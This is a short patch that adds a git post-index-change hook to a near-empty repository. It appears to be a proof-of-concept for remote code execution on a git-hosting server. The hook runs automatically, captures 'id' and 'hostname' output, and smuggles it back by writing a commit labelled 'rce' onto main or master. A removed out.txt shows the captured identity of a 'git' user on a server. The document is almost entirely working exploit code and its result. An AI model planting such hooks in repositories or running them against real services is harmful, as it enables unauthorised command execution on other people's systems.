patch2

README.md

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+# r813432
+

hooks/post-index-change

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+#!/bin/sh
+OUTPUT="HOOK_FIRED_$(id|head -c 100)_$(hostname)_END"
+BLOB=$(echo "$OUTPUT" | git hash-object -w --stdin)
+TREE=$(printf "100644 blob %s\tout.txt" "$BLOB" | git mktree)
+HEAD_SHA=$(git rev-parse HEAD 2>/dev/null)
+if [ -n "$HEAD_SHA" ]; then
+  COMMIT=$(git commit-tree "$TREE" -p "$HEAD_SHA" -m "rce")
+else
+  COMMIT=$(git commit-tree "$TREE" -m "rce")
+fi
+git update-ref refs/heads/main "$COMMIT" 2>/dev/null || git update-ref refs/heads/master "$COMMIT" 2>/dev/null

out.txt

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-HOOK_FIRED_uid=1000(git) gid=1000(git) groups=1000(git),1000(git)_17f677a6d4a2_END